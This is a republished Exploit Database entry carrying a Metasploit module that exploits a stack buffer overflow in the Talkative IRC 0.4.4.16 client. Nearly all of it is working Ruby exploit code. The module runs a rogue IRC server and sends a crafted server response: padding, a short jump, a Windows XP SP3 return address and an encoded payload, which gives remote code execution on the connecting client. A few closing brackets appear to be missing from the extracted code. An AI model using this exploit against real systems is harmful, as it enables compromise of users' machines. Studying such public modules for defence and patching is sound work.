Talkative IRC 0.4.4.16 – Response Buffer Overflow (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16459/

# $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.

When a specially crafted response string is sent to a client,

an attacker may be able to execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'OSVDB', '64582'],

[ 'BID', '34141' ],

[ 'URL', 'http://milw0rm.com/exploits/8227' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 750,

'BadChars' => "\x00\x0a\x20\x0d",

'StackAdjustment'=> -3500,

'EncoderType' => Msf::Encoder::Type::AlphanumUpper,

'DisableNops' => 'True',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],

'Privileged' => false,

'DisclosureDate' => 'Mar 17 2009',

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])

], self.class)

end

def on_client_connect(client)

res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"

client.put(res)

end

def on_client_data(client)

return if ((p = regenerate_payload(client)) == nil)

sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)

sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded

sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)

sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

client.put(sploit)

handler

service.close_client(client)

end